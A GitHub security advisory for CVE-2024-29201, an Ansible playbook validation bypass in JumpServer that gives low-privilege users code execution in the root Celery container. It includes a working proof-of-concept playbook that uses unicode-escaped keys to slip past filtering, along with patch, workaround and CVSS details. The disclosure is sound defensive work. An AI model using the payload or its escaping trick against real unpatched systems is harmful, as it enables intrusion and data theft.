Skip to content

Insecure Ansible playbook validation leads to RCE in Celery

Critical
ibuler published GHSA-pjpp-cm9x-6rwj Mar 29, 2024

Package

Jumpserver

Affected versions

v3.0.0-v3.10.6

Patched versions

v3.10.7

Description

Impact

Attackers can bypass the input validation mechanism in JumpServer's Ansible to execute arbitrary code within the Celery container. Since the Celery container runs with root privileges and has database access, attackers could steal sensitive information from all hosts or manipulate the database.

Details

The vulnerability arises from bypassing input validation in the Ansible module of JumpServer. An attacker with a low-privilege user account is capable of exploiting a vulnerability to execute arbitrary code within the Celery container. It can be reproduced via the following steps:

  • The attacker constructs a malicious playbook template within the "Job > Template" section of the Workbench, like the following YAML code:
[{
     "name": "RCE playbook",
     "hosts": "all",
     "tasks": [
       {
         "name": "this runs in Celery container",
         "shell": "id > /tmp/pwnd",
         "\u0064elegate_to": "localhost"
} ],
     "vars": {
     "ansible_\u0063onnection": "local"
     }
}]
  • The attacker creates a job with this playbook and adds at least one asset to run the job.
  • The attacker successfully creates the file /tmp/pwnd in the Celery container.

Patches

Safe versions: >= v3.10.7

Workarounds

Temporary repair, System setting (系统设置) - Feature(功能设置) - Job Center(任务中心) Disable (关闭)

It is recommended to upgrade the safe versions.
After the upgrade, the attacker would be unable to execute arbitrary code within the Celery container.

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

CVE ID

CVE-2024-29201

Weaknesses